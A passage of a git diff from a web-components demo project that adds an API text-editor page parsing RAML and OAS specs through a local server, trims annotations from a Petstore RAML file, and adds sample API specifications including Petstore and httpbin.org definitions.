+    if (vendor === 'OAS 3.0') {
+      if (media === 'application/yaml') {
+        return ApiExamples.Oas30Yaml;
+      }
+      if (media === 'application/json') {
+        return ApiExamples.Oas30Json;
+      }
+    }
+    if (vendor === 'ASYNC 2.0') {
+      return ApiExamples.Async20;
+    }
+    return '';
+  }
+
+  /**
+   * @param {KeyboardEvent} e
+   */
+  formatSelectorKeyHandler(e) {
+    if (!['Enter', 'Space'].includes(e.code)) {
+      return;
+    }
+    const node = /** @type HTMLElement */ (e.target);
+    const { media } = node.dataset;
+    if (!media) {
+      return;
+    }
+    this.selectMedia(media);
+  }
+
+  /**
+   * @param {KeyboardEvent} e
+   */
+  mediaSelectorKeyHandler(e) {
+    if (!['Enter', 'Space'].includes(e.code)) {
+      return;
+    }
+    const node = /** @type HTMLElement */ (e.target);
+    const { vendor } = node.dataset;
+    if (!vendor) {
+      return;
+    }
+    this.selectVendor(vendor);
+  }
+
+  /**
+   * @param {string} location
+   * @returns {string}
+   */
+  getServerKey(location) {
+    const index = location.lastIndexOf('/');
+    return location.substr(index + 1);
+  }
+
+
+  /**
+   * Parses the current state of the editor.
+   * @returns {Promise<void>} 
+   */
+  async parse() {
+    this.loading = true;
+    /** @type string */
+    let previousKey;
+    const lastRequest = this.requests[this.requests.length - 1];
+    if (lastRequest) {
+      previousKey = lastRequest.key;
+      console.log('Cancelling', previousKey);
+      lastRequest.ctrl.abort();
+    }
+    const url = new URL('/amf-server/api/parse-text', window.location.href).toString();
+    const { value, apiFormat, apiMedia } = this;
+    const headers = {
+      'content-type': apiMedia,
+      'x-api-vendor': apiFormat,
+    }
+    if (previousKey) {
+      headers['x-previous-request'] = previousKey;
+    }
+    const response = await fetch(url, {
+      method: 'POST',
+      body: value,
+      headers,
+    });
+    if (response.status !== 201) {
+      this.loading = false;
+      return;
+    }
+    const location = response.headers.get('location');
+    if (!location) {
+      this.loading = false;
+      return;
+    }
+    const key = this.getServerKey(location);
+    const ctrl = new AbortController();
+    this.requests.push({
+      key,
+      ctrl,
+    });
+    this.checkStatus(location);
+  }
+
+  /**
+   * Checks the parsing status from the server.
+   * @param {string} location
+   * @returns {Promise<void>} 
+   */
+  async checkStatus(location) {
+    const key = this.getServerKey(location);
+    const index = this.requests.findIndex(item => item.key === key);
+    if (index === -1) {
+      return;
+    }
+    const info = this.requests[index];
+    if (info.ctrl.signal.aborted) {
+      this.requests.splice(index, 1);
+      return;
+    }
+    const url = new URL(location, window.location.href).toString();
+    const response = await fetch(url);
+    if (response.status === 204) {
+      const newLocation = response.headers.get('location');
+      if (!newLocation) {
+        this.loading = false;
+        return;
+      }
+      setTimeout(() => {
+        this.checkStatus(newLocation);
+      }, 500);
+      return;
     }
-    const { compatibility } = this;
+    if (response.status === 200) {
+      const newLocation = response.headers.get('location');
+      if (!newLocation) {
+        this.loading = false;
+        console.error('The server did not return result location.');
+        return;
+      }
+      this.readResult(newLocation);
+      return;
+    }
+
+    this.loading = false;
+    console.error('Invalid state.');
+  }
+
+  /**
+   * Reads the parsed model result.
+   * @param {string} location
+   * @returns {Promise<void>} 
+   */
+  async readResult(location) {
+    const key = this.getServerKey(location);
+    const index = this.requests.findIndex(item => item.key === key);
+    if (index === -1) {
+      return;
+    }
+    const info = this.requests[index];
+    this.requests.splice(index, 1);
+    if (info.ctrl.signal.aborted) {
+      return;
+    }
+    const url = new URL(location, window.location.href).toString();
+    const response = await fetch(url);
+    if (response.status !== 200) {
+      this.loading = false;
+      return;
+    }
+    let model = await response.json();
+    if (Array.isArray(model)) {
+      [model] = model;
+    }
+    this.model = model;
+    this.loading = false;
+    console.log(model);
+  }
+
+  /**
+   * @param {CustomEvent} e
+   */
+  tryitHandler(e) {
+    const { id } = e.detail;
+    this.editorOperation = id;
+    this.editorOpened = true;
+  }
+
+  editorCloseHandler() {
+    this.editorOperation = undefined;
+    this.editorOpened = false;
+  }
+
+  /**
+   * @returns {TemplateResult} Main application template
+   */
+  appTemplate() {
     return html`
-    <div class="other-section" slot="custom-base-uri">Other options</div>
-    <anypoint-item
-      slot="custom-base-uri"
-      data-value="http://mocking.com"
-      ?compatibility="${compatibility}"
-    >Mocking service</anypoint-item>
-    <anypoint-item
-      slot="custom-base-uri"
-      data-value="http://customServer.com2"
-      ?compatibility="${compatibility}"
-    >Custom instance</anypoint-item>`;
-  }
-
-  _annotationsEventTemplate() {
-    return html `
-      <section class="documentation-section">
-        <h3>Annotations event</h3>
-        <p>
-          Dispatch event to update values from annotations.
-          <anypoint-button @click="${this.dispatchAnnotations}">Dispatch</anypoint-button>
-        </p>
-      </section>
+    ${this.headerTemplate()}
+    ${this.pageTemplate()}
+    ${this.requestEditorDialogTemplate()}
     `;
   }
 
-  contentTemplate() {
+  /**
+   * @returns {TemplateResult} The application header template
+   */
+  headerTemplate() {
+    const { isMobile } = this;
     return html`
-    <xhr-simple-request @api-response="${this._responseReady}"></xhr-simple-request>
-    <oauth1-authorization></oauth1-authorization>
-    <oauth2-authorization></oauth2-authorization>
-    <oidc-authorization></oidc-authorization>
-    <h2 class="centered main">API request editor</h2>
-    ${this.demoTemplate()}
-    ${this._annotationsEventTemplate()}
+    <header>
+      ${isMobile ? this.navigationTriggerTemplate() : this.apiNameHeaderTemplate()}
+    </header>`;
+  }
+
+  /**
+   * @returns {TemplateResult} The navigation trigger button template
+   */
+  navigationTriggerTemplate() {
+    return html`
+    <anypoint-icon-button 
+      title="Open the menu" 
+      aria-label="Activate to open the API navigation"
+      @click="${this.menuToggleHandler}"
+    >
+      <arc-icon icon="menu"></arc-icon>
+    </anypoint-icon-button>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} The template for the API name.
+   */
+  apiNameHeaderTemplate() {
+    return html`
+    <div class="api-name-wrapper">
+      <h1>API editor</h1>
+    </div>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} The template for the page content
+   */
+  pageTemplate() {
+    if (this.initializing) {
+      return this.initializingTemplate();
+    }
+    return html`
+    <main>
+      ${this.editorInputTemplate()}
+      <aside>
+        ${this.documentationTemplate()}
+      </aside>
+    </main>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} A template for the loader
+   */
+  initializingTemplate() {
+    return html`
+    <div class="app-loader">
+      <p class="message">Preparing something spectacular</p>
+    </div>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} The template for the API input editor
+   */
+  editorInputTemplate() {
+    return html`
+    <section class="editing-area">
+      ${this.apiSpecFormatSelector()}
+      ${this.editorContainerTemplate()}
+    </section>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult} The template for the API format selector
+   */
+  apiSpecFormatSelector() {
+    const { apiFormat } = this;
+    return html`
+    <div class="format-bar">
+      <div class="button-group" @click="${this.formatSelectorHandler}" @keydown="${this.formatSelectorKeyHandler}">
+        <anypoint-button ?active="${apiFormat === 'RAML 1.0'}" data-vendor="RAML 1.0">RAML 1.0</anypoint-button>
+        <anypoint-button ?active="${apiFormat === 'OAS 2.0'}" data-vendor="OAS 2.0">OAS 2.0</anypoint-button>
+        <anypoint-button ?active="${apiFormat === 'OAS 3.0'}" data-vendor="OAS 3.0">OAS 3.0</anypoint-button>
+        <anypoint-button ?active="${apiFormat === 'ASYNC 2.0'}" data-vendor="ASYNC 2.0">Async API 2.0</anypoint-button>
+      </div>
+      ${this.apiMediaTypeSelector()}
+    </div>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult|string} The template for the API media selector
+   */
+  apiMediaTypeSelector() {
+    const { apiFormat, apiMedia } = this;
+    const hasMediaType = ['OAS 2.0', 'OAS 3.0'].includes(apiFormat);
+    if (!hasMediaType) {
+      return '';
+    }
+    return html`
+    <div class="button-group" @click="${this.mediaSelectorHandler}" @keydown="${this.mediaSelectorKeyHandler}">
+      <anypoint-button ?active="${apiMedia === 'application/yaml'}" data-media="application/yaml">application/yaml</anypoint-button>
+      <anypoint-button ?active="${apiMedia === 'application/json'}" data-media="application/json">application/json</anypoint-button>
+    </div>
     `;
   }
 
-  demoTemplate() {
-    const { loaded } = this;
-    return html `
-    <section class="documentation-section">
-      <h3>Interactive demo</h3>
-      <p>
-        This demo lets you preview the API Request Editor element with various
-        configuration options.
-      </p>
-      <div class="api-demo-content">
-        ${!loaded ? html`<p>Load an API model first.</p>` : this.loadedTemplate()}
+  /**
+   * @returns {TemplateResult} The template for the Monaco editor.
+   */
+  editorContainerTemplate() {
+    return html`<div id="container"></div>`;
+  }
+
+  /**
+   * @returns {TemplateResult|string} The template for API navigation.
+   */
+  navigationDrawerTemplate() {
+    const { model, navigationOpened } = this;
+    if (!model) {
+      return '';
+    }
+    const classes = {
+      navigation: true,
+      opened: navigationOpened,
+    };
+    return html`
+    <nav class="${classMap(classes)}">
+      <div class="api-doc-toolbar">
+        <anypoint-icon-button 
+          title="Close the menu" 
+          aria-label="Activate to close the API navigation"
+          @click="${this.menuToggleHandler}"
+        >
+          <arc-icon icon="close"></arc-icon>
+        </anypoint-icon-button>
       </div>
-    </section>`;
+      <api-navigation
+        summary
+        .amf="${model}"
+        endpointsOpened
+        noOverview
+      ></api-navigation>
+    </nav>`;
+  }
+
+  /**
+   * @returns {TemplateResult} The template for the documentation section.
+   */
+  documentationTemplate() {
+    return html`
+    ${this.navigationDrawerTemplate()}
+    <section class="api-console">
+      ${this.apiLoaderTemplate()}
+      ${this.apiTemplate()}
+    </section>
+    `;
+  }
+
+  /**
+   * @returns {TemplateResult|string} The template for the API loading indicator.
+   */
+  apiLoaderTemplate() {
+    if (!this.loading) {
+      return '';
+    }
+    return html`
+    <progress class="loading-progress"></progress>
+    `;
   }
 
-  loadedTemplate() {
+  /**
+   * @returns {TemplateResult|string} The template for the API console's main documentation.
+   */
+  apiTemplate() {
+    const { model } = this;
+    if (!model) {
+      return '';
+    }
     return html`
-    ${this.componentTemplate()}
+    <div class="api-doc-toolbar">
+      ${this.navigationTriggerTemplate()}
+    </div>
+    <api-documentation
+      slot="content"
+      .amf="${this.model}"
+      .domainId="${this.domainId}"
+      .operationId="${this.operationId}"
+      .domainType="${this.domainType}"
+      .redirectUri="${this.redirectUri}"
+      tryItButton
+      @tryit="${this.tryitHandler}"
+    >
+    </api-documentation>
+    <oauth2-authorization></oauth2-authorization>
+    <xhr-simple-request></xhr-simple-request>
     `;
   }
 
-  componentTemplate() {
-    const {
-      demoStates,
-      darkThemeActive,
-      outlined,
-      compatibility,
-      amf,
-      redirectUri,
-      allowCustom,
-      allowHideOptional,
-      selectedAmfId,
-      responseBody,
-      urlLabel,
-      urlEditor,
-      noServerSelector,
-      allowCustomBaseUri,
-      applyAuthorization,
-    } = this;
+  requestEditorDialogTemplate() {
+    if (!this.httpEditorPositionTarget) {
+      return '';
+    }
     return html`
-    <arc-interactive-demo
-      .states="${demoStates}"
-      @state-changed="${this._demoStateHandler}"
-      ?dark="${darkThemeActive}"
+    <anypoint-dialog 
+      @closed="${this.editorCloseHandler}" 
+      .opened="${this.editorOpened}" 
+      class="request-dialog"
+      horizontalAlign="center"
+      verticalAlign="middle"
+      .positionTarget="${this.httpEditorPositionTarget}"
     >
-      <div slot="content">
-        <api-request-editor
-          .amf="${amf}"
-          .domainId="${selectedAmfId}"
-          ?allowCustom="${allowCustom}"
-          ?allowHideOptional="${allowHideOptional}"
-          ?outlined="${outlined}"
-          ?compatibility="${compatibility}"
-          ?urlLabel="${urlLabel}"
-          ?urlEditor="${urlEditor}"
-          ?applyAuthorization="${applyAuthorization}"
+      <h2>API request</h2>
+      <anypoint-dialog-scrollable>
+        <api-request
+          .amf="${this.model}"
+          .domainId="${this.editorOperation}"
+          urlLabel
+          applyAuthorization
           globalCache
-          .redirectUri="${redirectUri}"
-          ?noServerSelector="${noServerSelector}"
-          ?allowCustomBaseUri="${allowCustomBaseUri}"
-          @api-request="${this._apiRequestHandler}"
-          @change="${this.requestChangeHandler}"
+          allowHideOptional
+          .redirectUri="${this.redirectUri}"
         >
-          ${this._addCustomServers()}
-        </api-request-editor>
-        ${responseBody ? html`<h3>Latest response</h3>
-        <output class="response-output" tabindex="0">${responseBody}</output>` : ''}
+        </api-request>
+      </anypoint-dialog-scrollable>
+      <div class="buttons">
+        <anypoint-button data-dialog-dismiss>Close</anypoint-button>
       </div>
-
-      <label slot="options" id="mainOptionsLabel">Options</label>
-      
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="allowCustom"
-        .checked="${allowCustom}"
-        @change="${this._toggleMainOption}"
-        >Allow custom</anypoint-checkbox
-      >
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="allowHideOptional"
-        .checked="${allowHideOptional}"
-        @change="${this._toggleMainOption}"
-        >Allow hide optional</anypoint-checkbox
-      >
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="urlLabel"
-        @change="${this._toggleMainOption}"
-        >URL label</anypoint-checkbox
-      >
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="urlEditor"
-        @change="${this._toggleMainOption}"
-        .checked="${urlEditor}"
-        >URL editor</anypoint-checkbox
-      >
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="renderCustomServer"
-        @change="${this._toggleMainOption}"
-        >Custom servers</anypoint-checkbox
-      >
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="allowCustomBaseUri"
-        @change="${this._toggleMainOption}"
-        >Custom Base Uri</anypoint-checkbox
-      >
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="noServerSelector"
-        @change="${this._toggleMainOption}"
-      >
-        Remove Server Selector
-      </anypoint-checkbox>
-      <anypoint-checkbox
-        aria-describedby="mainOptionsLabel"
-        slot="options"
-        name="applyAuthorization"
-        .checked="${applyAuthorization}"
-        @change="${this._toggleMainOption}"
-        title="Applies authorization configuration to the request when dispatching the event"
-      >
-        Apply authorization
-      </anypoint-checkbox>
-    </arc-interactive-demo>
+    </anypoint-dialog>
     `;
   }
 }
-const instance = new ComponentDemo();
-instance.render();
+
+const page = new ApiTextEditor();
+page.render();
diff --git a/demo/apis/oas-api/Petstore.raml b/demo/apis/oas-api/Petstore.raml
index a045773..8fb0f7d 100644
--- a/demo/apis/oas-api/Petstore.raml
+++ b/demo/apis/oas-api/Petstore.raml
@@ -2,41 +2,11 @@
 title: Swagger Petstore
 description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
 version: 1.0.0
-(oas-info):
-  termsOfService: 'http://swagger.io/terms/'
-  contact:
-    name: Swagger API Team
-    url: 'http://swagger.io'
-    email: apiteam@swagger.io
-  license:
-    name: Apache 2.0
-    url: 'https://www.apache.org/licenses/LICENSE-2.0.html'
-annotationTypes:
-  oas-info:
-    properties:
-      termsOfService?: string
-      contact?:
-        properties:
-          name?: string
-          url?: string
-          email?: string
-      license?:
-        properties:
-          name?: string
-          url?: string
-    allowedTargets: API
-  oas-responses-default:
-    type: any
-    allowedTargets: Method
-  oas-collectionFormat:
-    type: string
-  oas-body-name:
-    type: string
-    allowedTargets: TypeDeclaration
 mediaType: application/json
 protocols:
   - HTTP
 baseUri: 'http://petstore.swagger.io/api'
+
 types:
   Pet:
     type: NewPet
@@ -58,12 +28,12 @@ types:
         format: int32
       message:
         type: string
+
 /pets:
   get:
     description: |
       Returns all pets from the system that the user has access to
     displayName: findPets
-    (oas-responses-default):
       description: unexpected error
       body:
         application/json:
@@ -83,7 +53,6 @@ types:
         type: array
         items:
           type: string
-        (oas-collectionFormat): csv
       limit:
         description: maximum number of results to return
         required: false
@@ -92,7 +61,6 @@ types:
   post:
     description: Creates a new pet in the store.  Duplicates are allowed
     displayName: addPet
-    (oas-responses-default):
       description: unexpected error
       body:
         application/json:
@@ -107,12 +75,10 @@ types:
       application/json:
         description: Pet to add to the store
         type: NewPet
-        (oas-body-name): pet
   '/{id}':
     get:
       description: 'Returns a user based on a single ID, if the user does not have access to the pet'
       displayName: find pet by id
-      (oas-responses-default):
         description: unexpected error
         body:
           application/json:
@@ -126,7 +92,6 @@ types:
     delete:
       description: deletes a single pet based on the ID supplied
       displayName: deletePet
-      (oas-responses-default):
         description: unexpected error
         body:
           application/json:
diff --git a/demo/index.html b/demo/index.html
index 3a35c7b..56fc5d3 100644
--- a/demo/index.html
+++ b/demo/index.html
@@ -42,7 +42,7 @@ <h2>Documentation viewers</h2>
       </dl>
       <h2>Request editor</h2>
       <dl>
-        <dt><a href="api-editor.html">API request editor</a></dt>
+        <dt><a href="request-editor.html">API request editor</a></dt>
         <dd>An HTTP editor UI powered by the AMF model.</dd>
         <dt><a href="api-request.html">API request</a></dt>
         <dd>An HTTP editor UI powered by the AMF model with the response view.</dd>
@@ -51,6 +51,8 @@ <h2>Experience</h2>
       <dl>
         <dt><a href="api-console.html">API Console</a></dt>
         <dd>A dynamically created documentation page for an API.</dd>
+        <dt><a href="api-editor.html">API Editor</a></dt>
+        <dd>A text editor for RAML and OAS.</dd>
       </dl>
     </nav>
   </main>
diff --git a/demo/lib/ApiExamples.js b/demo/lib/ApiExamples.js
new file mode 100644
index 0000000..c7a126b
--- /dev/null
+++ b/demo/lib/ApiExamples.js
@@ -0,0 +1,3270 @@
+export const Raml10 = `#%RAML 1.0
+---
+title: Swagger Petstore
+description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
+version: 1.0.0
+mediaType: application/json
+protocols:
+  - HTTP
+baseUri: 'http://petstore.swagger.io/api'
+
+types:
+  Pet:
+    type: NewPet
+    properties:
+      id:
+        type: integer
+        format: int64
+  NewPet:
+    properties:
+      name:
+        type: string
+      tag:
+        type: string
+        required: false
+  Error:
+    properties:
+      code:
+        type: integer
+        format: int32
+      message:
+        type: string
+
+/pets:
+  get:
+    description: |
+      Returns all pets from the system that the user has access to
+    displayName: findPets
+      description: unexpected error
+      body:
+        application/json:
+          type: Error
+    responses:
+      '200':
+        description: pet response
+        body:
+          application/json:
+            type: array
+            items:
+              type: Pet
+    queryParameters:
+      tags:
+        description: tags to filter by
+        required: false
+        type: array
+        items:
+          type: string
+      limit:
+        description: maximum number of results to return
+        required: false
+        type: integer
+        format: int32
+  post:
+    description: Creates a new pet in the store.  Duplicates are allowed
+    displayName: addPet
+      description: unexpected error
+      body:
+        application/json:
+          type: Error
+    responses:
+      '200':
+        description: pet response
+        body:
+          application/json:
+            type: Pet
+    body:
+      application/json:
+        description: Pet to add to the store
+        type: NewPet
+  '/{id}':
+    get:
+      description: 'Returns a user based on a single ID, if the user does not have access to the pet'
+      displayName: find pet by id
+        description: unexpected error
+        body:
+          application/json:
+            type: Error
+      responses:
+        '200':
+          description: pet response
+          body:
+            application/json:
+              type: Pet
+    delete:
+      description: deletes a single pet based on the ID supplied
+      displayName: deletePet
+        description: unexpected error
+        body:
+          application/json:
+            type: Error
+      responses:
+        '204':
+          description: pet deleted
+    uriParameters:
+      id:
+        description: ID of pet to delete
+        type: integer
+        format: int64
+`;
+
+export const Oas20Yaml = `swagger: "2.0"
+info:
+  version: 1.0.0
+  title: Swagger Petstore
+  description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
+  termsOfService: http://swagger.io/terms/
+  contact:
+    name: Swagger API Team
+    email: apiteam@swagger.io
+    url: http://swagger.io
+  license:
+    name: Apache 2.0
+    url: https://www.apache.org/licenses/LICENSE-2.0.html
+host: petstore.swagger.io
+basePath: /api
+schemes:
+  - http
+consumes:
+  - application/json
+produces:
+  - application/json
+paths:
+  /pets:
+    get:
+      description: |
+        Returns all pets from the system that the user has access to
+      operationId: findPets
+      summary: Finds pets by tag
+      deprecated: true
+      parameters:
+        - name: tags
+          in: query
+          description: tags to filter by
+          required: false
+          type: array
+          collectionFormat: csv
+          items:
+            type: string
+        - name: limit
+          in: query
+          description: maximum number of results to return
+          required: false
+          type: integer
+          format: int32
+      responses:
+        "200":
+          description: pet response
+          schema:
+            type: array
+            items:
+              $ref: '#/definitions/Pet'
+        default:
+          description: unexpected error
+          schema:
+            $ref: '#/definitions/Error'
+    post:
+      description: Creates a new pet in the store.  Duplicates are allowed
+      operationId: addPet
+      parameters:
+        - name: pet
+          in: body
+          description: Pet to add to the store
+          required: true
+          schema:
+            $ref: '#/definitions/NewPet'
+      responses:
+        "200":
+          description: pet response
+          schema:
+            $ref: '#/definitions/Pet'
+        default:
+          description: unexpected error
+          schema:
+            $ref: '#/definitions/Error'
+  /pets/{id}:
+    get:
+      description: Returns a user based on a single ID, if the user does not have access to the pet
+      operationId: find pet by id
+      parameters:
+        - name: id
+          in: path
+          description: ID of pet to fetch
+          required: true
+          type: integer
+          format: int64
+      responses:
+        "200":
+          description: pet response
+          schema:
+            $ref: '#/definitions/Pet'
+        default:
+          description: unexpected error
+          schema:
+            $ref: '#/definitions/Error'
+    delete:
+      description: deletes a single pet based on the ID supplied
+      operationId: deletePet
+      parameters:
+        - name: id
+          in: path
+          description: ID of pet to delete
+          required: true
+          type: integer
+          format: int64
+      responses:
+        "204":
+          description: pet deleted
+        default:
+          description: unexpected error
+          schema:
+            $ref: '#/definitions/Error'
+definitions:
+  Pet:
+    allOf:
+      - $ref: '#/definitions/NewPet'
+      - $ref: '#/definitions/Error'
+      - required:
+        - id
+        properties:
+          id:
+            type: integer
+            format: int64
+          test:
+            type: string
+
+  NewPet:
+    required:
+      - name
+    properties:
+      name:
+        type: string
+      tag:
+        type: string
+
+  Error:
+    required:
+      - code
+      - message
+    properties:
+      code:
+        type: integer
+        format: int32
+      message:
+        type: string
+`;
+
+export const Oas20Json = `
+{
+  "schemes": [
+    "https"
+  ],
+  "swagger": "2.0",
+  "basePath": "/",
+  "definitions": {},
+  "host": "httpbin.org",
+  "info": {
+    "contact": {
+      "email": "me@kennethreitz.org",
+      "url": "https://kennethreitz.org"
+    },
+    "description": "A simple HTTP Request & Response Service.<br/> <br/> <b>Run locally: </b> <code>$ docker run -p 80:80 kennethreitz/httpbin</code>",
+    "title": "httpbin.org",
+    "version": "0.9.3"
+  },
+  "paths": {
+    "/absolute-redirect/{n}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "n",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "302": {
+            "description": "A redirection."
+          }
+        },
+        "summary": "Absolutely 302 Redirects n times.",
+        "tags": [
+          "Redirects"
+        ]
+      }
+    },
+    "/anything": {
+      "delete": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "patch": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "post": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "put": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "trace": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      }
+    },
+    "/anything/{anything}": {
+      "delete": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "patch": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "post": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "put": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      },
+      "trace": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Anything passed in request"
+          }
+        },
+        "summary": "Returns anything passed in request data.",
+        "tags": [
+          "Anything"
+        ]
+      }
+    },
+    "/base64/{value}": {
+      "get": {
+        "parameters": [
+          {
+            "default": "SFRUUEJJTiBpcyBhd2Vzb21l",
+            "in": "path",
+            "name": "value",
+            "type": "string",
+            "required": true
+          }
+        ],
+        "produces": [
+          "text/html"
+        ],
+        "responses": {
+          "200": {
+            "description": "Decoded base64 content."
+          }
+        },
+        "summary": "Decodes base64url-encoded string.",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/basic-auth/{user}/{passwd}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "user",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "passwd",
+            "type": "string",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Successful authentication."
+          },
+          "401": {
+            "description": "Unsuccessful authentication."
+          }
+        },
+        "summary": "Prompts the user for authorization using HTTP Basic Auth.",
+        "tags": [
+          "Auth"
+        ]
+      }
+    },
+    "/bearer": {
+      "get": {
+        "parameters": [
+          {
+            "in": "header",
+            "name": "Authorization",
+            "type": "string"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Successful authentication."
+          },
+          "401": {
+            "description": "Unsuccessful authentication."
+          }
+        },
+        "summary": "Prompts the user for authorization using bearer authentication.",
+        "tags": [
+          "Auth"
+        ]
+      }
+    },
+    "/brotli": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Brotli-encoded data."
+          }
+        },
+        "summary": "Returns Brotli-encoded data.",
+        "tags": [
+          "Response formats"
+        ]
+      }
+    },
+    "/bytes/{n}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "n",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/octet-stream"
+        ],
+        "responses": {
+          "200": {
+            "description": "Bytes."
+          }
+        },
+        "summary": "Returns n random bytes generated with given seed",
+        "tags": [
+          "Dynamic data"
+        ]
+      }
+    },
+    "/cache": {
+      "get": {
+        "parameters": [
+          {
+            "in": "header",
+            "name": "If-Modified-Since",
+            "type": "string"
+          },
+          {
+            "in": "header",
+            "name": "If-None-Match",
+            "type": "string"
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Cached response"
+          },
+          "304": {
+            "description": "Modified"
+          }
+        },
+        "summary": "Returns a 304 if an If-Modified-Since header or If-None-Match is present. Returns the same as a GET otherwise.",
+        "tags": [
+          "Response inspection"
+        ]
+      }
+    },
+    "/cache/{value}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "value",
+            "type": "integer",
+            "required": true
+          }
+        ],
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Cache control set"
+          }
+        },
+        "summary": "Sets a Cache-Control header for n seconds.",
+        "tags": [
+          "Response inspection"
+        ]
+      }
+    },
+    "/cookies": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
+            "description": "Set cookies."
+          }
+        },
+        "summary": "Returns cookie data.",
+        "tags": [
+          "Cookies"
+        ]
+      }
+    },
+    "/cookies/delete": {
+      "get": {
+        "parameters": [
+          {
+            "name": "freeform",
+            "in": "query",
+            "type": "string"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "200": {
+            "description": "Redirect to cookie list"
+          }
+        },
+        "summary": "Deletes cookie(s) as provided by the query string and redirects to cookie list.",
+        "tags": [
+          "Cookies"
+        ]
+      }
+    },
+    "/cookies/set": {
+      "get": {
+        "parameters": [
+          {
+            "name": "freeform",
+            "in": "query",
+            "type": "string"
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "200": {
+            "description": "Redirect to cookie list"
+          }
+        },
+        "summary": "Sets cookie(s) as provided by the query string and redirects to cookie list.",
+        "tags": [
+          "Cookies"
+        ]
+      }
+    },
+    "/cookies/set/{name}/{value}": {
+      "get": {
+        "parameters": [
+          {
+            "in": "path",
+            "name": "name",
+            "type": "string",
+            "required": true
+          },
+          {
+            "in": "path",
+            "name": "value",
+            "type": "string",
+            "required": true
+          }
+        ],
+        "produces": [
+          "text/plain"
+        ],
+        "responses": {
+          "200": {
+            "description": "Set cookies and redirects to cookie list."
+          }
+        },
+        "summary": "Sets a cookie and redirects to cookie list.",
+        "tags": [
+          "Cookies"
+        ]
+      }
+    },
+    "/deflate": {
+      "get": {
+        "produces": [
+          "application/json"
+        ],
+        "responses": {
+          "200": {
